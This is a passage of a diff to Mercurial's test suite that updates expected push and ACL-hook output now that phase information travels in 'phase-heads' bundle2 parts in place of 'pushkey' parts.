   bundle2-input-part: total payload size 1553
+  bundle2-input-part: total payload size 24
   bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
@@ -661,7 +660,7 @@
   bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
@@ -689,6 +688,7 @@
   acl: branch access granted: "ef1ea85a6374" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "barney" not allowed on "foo/file.txt" (changeset "ef1ea85a6374")
   bundle2-input-part: total payload size 1553
+  bundle2-input-part: total payload size 24
   bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
@@ -734,7 +734,7 @@
   bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
@@ -766,17 +766,15 @@
   acl: branch access granted: "911600dab2ae" on branch "default"
   acl: path access granted: "911600dab2ae"
   bundle2-input-part: total payload size 1553
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-bundle: 4 parts total
   updating the branch cache
-  bundle2-output-bundle: "HG20", 2 parts total
+  bundle2-output-bundle: "HG20", 1 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-bundle: 1 parts total
+  bundle2-input-bundle: 0 parts total
   listing keys for "phases"
   repository tip rolled back to revision 0 (undo push)
   0:6675d58eff77
@@ -819,7 +817,7 @@
   bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
@@ -851,6 +849,7 @@
   acl: branch access granted: "911600dab2ae" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "wilma" not allowed on "quux/file.py" (changeset "911600dab2ae")
   bundle2-input-part: total payload size 1553
+  bundle2-input-part: total payload size 24
   bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
@@ -899,7 +898,7 @@
   bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
@@ -922,6 +921,7 @@
   acl: checking access for user "barney"
   error: pretxnchangegroup.acl hook raised an exception: [Errno *] * (glob)
   bundle2-input-part: total payload size 1553
+  bundle2-input-part: total payload size 24
   bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
@@ -974,7 +974,7 @@
   bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
@@ -1006,6 +1006,7 @@
   acl: branch access granted: "911600dab2ae" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "betty" not allowed on "quux/file.py" (changeset "911600dab2ae")
   bundle2-input-part: total payload size 1553
+  bundle2-input-part: total payload size 24
   bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
@@ -1060,7 +1061,7 @@
   bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
@@ -1092,17 +1093,15 @@
   acl: branch access granted: "911600dab2ae" on branch "default"
   acl: path access granted: "911600dab2ae"
   bundle2-input-part: total payload size 1553
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-bundle: 4 parts total
   updating the branch cache
-  bundle2-output-bundle: "HG20", 2 parts total
+  bundle2-output-bundle: "HG20", 1 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-bundle: 1 parts total
+  bundle2-input-bundle: 0 parts total
   listing keys for "phases"
   repository tip rolled back to revision 0 (undo push)
   0:6675d58eff77
@@ -1148,7 +1147,7 @@
   bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
@@ -1180,17 +1179,15 @@
   acl: branch access granted: "911600dab2ae" on branch "default"
   acl: path access granted: "911600dab2ae"
   bundle2-input-part: total payload size 1553
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-bundle: 4 parts total
   updating the branch cache
-  bundle2-output-bundle: "HG20", 2 parts total
+  bundle2-output-bundle: "HG20", 1 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-bundle: 1 parts total
+  bundle2-input-bundle: 0 parts total
   listing keys for "phases"
   repository tip rolled back to revision 0 (undo push)
   0:6675d58eff77
@@ -1232,7 +1229,7 @@
   bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
@@ -1262,6 +1259,7 @@
   acl: branch access granted: "f9cafe1212c8" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "fred" denied on "foo/Bar/file.txt" (changeset "f9cafe1212c8")
   bundle2-input-part: total payload size 1553
+  bundle2-input-part: total payload size 24
   bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
@@ -1310,7 +1308,7 @@
   bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
@@ -1343,17 +1341,15 @@
   acl: branch access granted: "911600dab2ae" on branch "default"
   acl: path access granted: "911600dab2ae"
   bundle2-input-part: total payload size 1553
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-bundle: 4 parts total
   updating the branch cache
-  bundle2-output-bundle: "HG20", 2 parts total
+  bundle2-output-bundle: "HG20", 1 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-bundle: 1 parts total
+  bundle2-input-bundle: 0 parts total
   listing keys for "phases"
   repository tip rolled back to revision 0 (undo push)
   0:6675d58eff77
@@ -1395,7 +1391,7 @@
   bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
@@ -1427,6 +1423,7 @@
   acl: branch access granted: "f9cafe1212c8" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "fred" denied on "foo/Bar/file.txt" (changeset "f9cafe1212c8")
   bundle2-input-part: total payload size 1553
+  bundle2-input-part: total payload size 24
   bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
@@ -1509,13 +1506,12 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
-  bundle2-output-bundle: "HG20", 6 parts total
+  bundle2-output-bundle: "HG20", 5 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:phases" 48 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 48 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
@@ -1551,21 +1547,15 @@
   acl: branch access granted: "e8fc755d4d82" on branch "foobar"
   acl: path access granted: "e8fc755d4d82"
   bundle2-input-part: total payload size 2068
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:e8fc755d4d8217ee5b0c2bb41558c40d43b92c01"
-  bundle2-input-bundle: 5 parts total
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 48
+  bundle2-input-bundle: 4 parts total
   updating the branch cache
-  bundle2-output-bundle: "HG20", 3 parts total
+  bundle2-output-bundle: "HG20", 1 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-bundle: 2 parts total
+  bundle2-input-bundle: 0 parts total
   listing keys for "phases"
   repository tip rolled back to revision 2 (undo push)
   2:fb35475503ef
@@ -1600,13 +1590,12 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
-  bundle2-output-bundle: "HG20", 6 parts total
+  bundle2-output-bundle: "HG20", 5 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:phases" 48 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 48 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
@@ -1641,7 +1630,8 @@
   acl: path access granted: "911600dab2ae"
   error: pretxnchangegroup.acl hook failed: acl: user "astro" denied on branch "foobar" (changeset "e8fc755d4d82")
   bundle2-input-part: total payload size 2068
-  bundle2-input-bundle: 5 parts total
+  bundle2-input-part: total payload size 48
+  bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
   abort: acl: user "astro" denied on branch "foobar" (changeset "e8fc755d4d82")
@@ -1677,13 +1667,12 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
-  bundle2-output-bundle: "HG20", 6 parts total
+  bundle2-output-bundle: "HG20", 5 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:phases" 48 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 48 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
@@ -1712,7 +1701,8 @@
   acl: acl.deny not enabled
   error: pretxnchangegroup.acl hook failed: acl: user "astro" not allowed on branch "default" (changeset "ef1ea85a6374")
   bundle2-input-part: total payload size 2068
-  bundle2-input-bundle: 5 parts total
+  bundle2-input-part: total payload size 48
+  bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
   abort: acl: user "astro" not allowed on branch "default" (changeset "ef1ea85a6374")
@@ -1750,13 +1740,12 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
-  bundle2-output-bundle: "HG20", 6 parts total
+  bundle2-output-bundle: "HG20", 5 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:phases" 48 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 48 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
@@ -1785,7 +1774,8 @@
   acl: acl.deny not enabled
   error: pretxnchangegroup.acl hook failed: acl: user "astro" not allowed on branch "default" (changeset "ef1ea85a6374")
   bundle2-input-part: total payload size 2068
-  bundle2-input-bundle: 5 parts total
+  bundle2-input-part: total payload size 48
+  bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
   abort: acl: user "astro" not allowed on branch "default" (changeset "ef1ea85a6374")
@@ -1817,13 +1807,12 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
-  bundle2-output-bundle: "HG20", 6 parts total
+  bundle2-output-bundle: "HG20", 5 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:phases" 48 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 48 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
@@ -1859,21 +1848,15 @@
   acl: branch access granted: "e8fc755d4d82" on branch "foobar"
   acl: path access granted: "e8fc755d4d82"
   bundle2-input-part: total payload size 2068
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:e8fc755d4d8217ee5b0c2bb41558c40d43b92c01"
-  bundle2-input-bundle: 5 parts total
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 48
+  bundle2-input-bundle: 4 parts total
   updating the branch cache
-  bundle2-output-bundle: "HG20", 3 parts total
+  bundle2-output-bundle: "HG20", 1 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-bundle: 2 parts total
+  bundle2-input-bundle: 0 parts total
   listing keys for "phases"
   repository tip rolled back to revision 2 (undo push)
   2:fb35475503ef
@@ -1913,13 +1896,12 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
-  bundle2-output-bundle: "HG20", 6 parts total
+  bundle2-output-bundle: "HG20", 5 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:phases" 48 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 48 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
@@ -1955,21 +1937,15 @@
   acl: branch access granted: "e8fc755d4d82" on branch "foobar"
   acl: path access granted: "e8fc755d4d82"
   bundle2-input-part: total payload size 2068
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:e8fc755d4d8217ee5b0c2bb41558c40d43b92c01"
-  bundle2-input-bundle: 5 parts total
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 48
+  bundle2-input-bundle: 4 parts total
   updating the branch cache
-  bundle2-output-bundle: "HG20", 3 parts total
+  bundle2-output-bundle: "HG20", 1 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-bundle: 2 parts total
+  bundle2-input-bundle: 0 parts total
   listing keys for "phases"
   repository tip rolled back to revision 2 (undo push)
   2:fb35475503ef
@@ -2008,13 +1984,12 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
-  bundle2-output-bundle: "HG20", 6 parts total
+  bundle2-output-bundle: "HG20", 5 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:phases" 48 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 48 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
@@ -2043,7 +2018,8 @@
   acl: acl.deny not enabled
   error: pretxnchangegroup.acl hook failed: acl: user "george" denied on branch "default" (changeset "ef1ea85a6374")
   bundle2-input-part: total payload size 2068
-  bundle2-input-bundle: 5 parts total
+  bundle2-input-part: total payload size 48
+  bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
   abort: acl: user "george" denied on branch "default" (changeset "ef1ea85a6374")
@@ -2080,13 +2056,12 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
-  bundle2-output-bundle: "HG20", 6 parts total
+  bundle2-output-bundle: "HG20", 5 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:phases" 48 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 48 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
@@ -2122,21 +2097,15 @@
   acl: branch access granted: "e8fc755d4d82" on branch "foobar"
   acl: path access granted: "e8fc755d4d82"
   bundle2-input-part: total payload size 2068
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:e8fc755d4d8217ee5b0c2bb41558c40d43b92c01"
-  bundle2-input-bundle: 5 parts total
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 48
+  bundle2-input-bundle: 4 parts total
   updating the branch cache
-  bundle2-output-bundle: "HG20", 3 parts total
+  bundle2-output-bundle: "HG20", 1 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-bundle: 2 parts total
+  bundle2-input-bundle: 0 parts total
   listing keys for "phases"
   repository tip rolled back to revision 2 (undo push)
   2:fb35475503ef
@@ -2169,13 +2138,12 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
-  bundle2-output-bundle: "HG20", 6 parts total
+  bundle2-output-bundle: "HG20", 5 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:phases" 48 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 48 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
@@ -2204,7 +2172,8 @@
   acl: acl.deny not enabled
   error: pretxnchangegroup.acl hook failed: acl: user "george" denied on branch "default" (changeset "ef1ea85a6374")
   bundle2-input-part: total payload size 2068
-  bundle2-input-bundle: 5 parts total
+  bundle2-input-part: total payload size 48
+  bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
   abort: acl: user "george" denied on branch "default" (changeset "ef1ea85a6374")
diff --git a/tests/test-bundle2-exchange.t b/tests/test-bundle2-exchange.t
--- a/tests/test-bundle2-exchange.t
+++ b/tests/test-bundle2-exchange.t
@@ -252,9 +252,6 @@
   remote: added 1 changesets with 0 changes to 0 files (-1 heads)
   remote: 1 new obsolescence markers
   remote: pre-close-tip:eea13746799a public book_eea1
-  remote: pushkey: lock state after "phases"
-  remote: lock:  free
-  remote: wlock: free
   remote: pushkey: lock state after "bookmarks"
   remote: lock:  free
   remote: wlock: free
@@ -392,9 +389,6 @@
   remote: added 1 changesets with 1 changes to 1 files
   remote: 1 new obsolescence markers
   remote: pre-close-tip:32af7686d403 public book_32af
-  remote: pushkey: lock state after "phases"
-  remote: lock:  free
-  remote: wlock: free
   remote: pushkey: lock state after "bookmarks"
   remote: lock:  free
   remote: wlock: free
diff --git a/tests/test-push-http.t b/tests/test-push-http.t
--- a/tests/test-push-http.t
+++ b/tests/test-push-http.t
@@ -70,7 +70,6 @@
   remote: adding manifests
   remote: adding file changes
   remote: added 1 changesets with 1 changes to 1 files
-  remote: pushkey hook: HG_HOOKNAME=pushkey HG_HOOKTYPE=pushkey HG_KEY=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_NAMESPACE=phases HG_NEW=0 HG_OLD=1 HG_RET=1
   remote: phase-move: cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b:  1 -> 0
   remote: phase-move: ba677d0156c1196c1a699fa53f390dcfc3ce3872:   -> 0
   remote: changegroup hook: HG_BUNDLE2=1 HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_NODE_LAST=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_SOURCE=serve HG_TXNID=TXN:$ID$ HG_URL=remote:http:$LOCALIP: (glob)
@@ -89,7 +88,6 @@
   remote: adding manifests
   remote: adding file changes
   remote: added 1 changesets with 1 changes to 1 files
-  remote: pushkey hook: HG_HOOKNAME=pushkey HG_HOOKTYPE=pushkey HG_KEY=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_NAMESPACE=phases HG_NEW=0 HG_OLD=1 HG_RET=1
   remote: phase-move: cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b:  1 -> 0
   remote: phase-move: ba677d0156c1196c1a699fa53f390dcfc3ce3872:   -> 0
   remote: changegroup hook: HG_BUNDLE2=1 HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_NODE_LAST=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_SOURCE=serve HG_TXNID=TXN:$ID$ HG_URL=remote:http:$LOCALIP: (glob)
@@ -108,7 +106,6 @@
   remote: adding manifests
   remote: adding file changes
   remote: added 1 changesets with 1 changes to 1 files
-  remote: pushkey hook: HG_HOOKNAME=pushkey HG_HOOKTYPE=pushkey HG_KEY=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_NAMESPACE=phases HG_NEW=0 HG_OLD=1 HG_RET=1
   remote: phase-move: cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b:  1 -> 0
   remote: phase-move: ba677d0156c1196c1a699fa53f390dcfc3ce3872:   -> 0
   remote: changegroup hook: HG_BUNDLE2=1 HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_NODE_LAST=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_SOURCE=serve HG_TXNID=TXN:$ID$ HG_URL=remote:http:$LOCALIP: (glob)
@@ -124,6 +121,8 @@
   > allow_push = *
   > [hooks]
   > prepushkey = sh -c "printenv.py prepushkey 1"
+  > [devel]
+  > legacy.exchange=phases
   > EOF
   $ req
   pushing to http://localhost:$HGPORT/
@@ -144,6 +143,8 @@
 
   $ cat >> .hg/hgrc <<EOF
   > prepushkey = sh -c "printenv.py prepushkey 0"
+  > [devel]
+  > legacy.exchange=
   > EOF
   $ req
   pushing to http://localhost:$HGPORT/
@@ -152,7 +153,6 @@
   remote: adding manifests
   remote: adding file changes
   remote: added 1 changesets with 1 changes to 1 files
